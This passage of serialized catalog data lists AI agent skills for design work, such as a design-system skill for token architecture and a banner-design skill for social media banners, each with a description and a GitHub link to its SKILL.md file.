icon, create social photos, social media images, brand identity, design system. Platforms: Facebook, Twitter, LinkedIn, YouTube, Instagram, Pinterest, TikTok, Threads, Google Ads.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":20},"01M7DJR56QF5N6XYTCPCFHFMNP","design-system","Token architecture, component specifications, and slide generation. Three-layer tokens (primitive→semantic→component), CSS variables, spacing\u002Ftypography scales, component specs, strategic slide creation. Use for design tokens, systematic design, brand-compliant presentations.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign-system\u002FSKILL.md",[],[],{"skillNo":126,"name":127,"nameZh":6,"description":128,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":6,"sourceHtmlUrl":129,"categories":130,"keywords":131,"publishedAt":20},"01M7DJQXB6M0SFF7NX8J5N01AH","banner-design","Design banners for social media, ads, website heroes, creative assets, and print. Multiple art direction options with AI-generated visuals. Actions: design, create, generate banner. Platforms: Facebook, Twitter\u002FX, LinkedIn, YouTube, Instagram, Google Display, website hero, print. Styles: minimalist, gradient, bold typography, photo-based, illustrated, geometric, retro, glassmorphism, 3D, neon, duotone, editorial, collage. Uses ui-ux-pro-max, frontend-design, ai-artist, ai-multimodal skills.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fbanner-design\u002FSKILL.md",[],[]]